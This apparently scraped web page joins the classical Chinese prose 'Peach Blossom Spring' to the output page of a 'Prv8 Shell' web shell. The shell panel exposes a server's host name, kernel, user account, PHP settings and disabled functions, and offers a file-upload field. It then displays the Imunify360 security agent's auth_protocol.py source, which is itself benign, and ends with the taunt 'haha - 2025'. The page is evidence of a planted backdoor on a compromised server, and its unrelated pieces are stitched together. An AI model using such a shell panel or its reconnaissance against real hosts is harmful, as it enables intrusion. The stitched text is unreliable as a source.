.

　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/internals/

Upload File :

Current File : //opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/internals/auth_protocol.py

import asyncio
import socket
import logging
import struct

logger = logging.getLogger(__name__)


class UnixSocketAuthProtocol(asyncio.Protocol):
    """
    This protocol uses SO_PEERCRED attribute of unix socket
    to get authentication data (pid, uid, gid)
    After connect, this values are stored in object's
    _pid, _uid, _gid attributes
    """

    # ucred struct format (3 integers)
    # struct ucred
    # {
    #   pid_t pid;            /* PID of sending process.  */
    #   uid_t uid;            /* UID of sending process.  */
    #   gid_t gid;            /* GID of sending process.  */
    # };
    #
    STRUCT_FORMAT = "3i"

    def connection_made(self, transport):
        self._transport = transport
        conn = self._transport.get_extra_info("socket")
        creds = conn.getsockopt(
            socket.SOL_SOCKET,
            socket.SO_PEERCRED,
            struct.calcsize(self.STRUCT_FORMAT),
        )
        self._pid, self._uid, self._gid = struct.unpack(
            self.STRUCT_FORMAT, creds
        )
        logger.debug(
            "New socket connection from pid=%s, uid=%s, gid=%s",
            self._pid,
            self._uid,
            self._gid,
        )

haha - 2025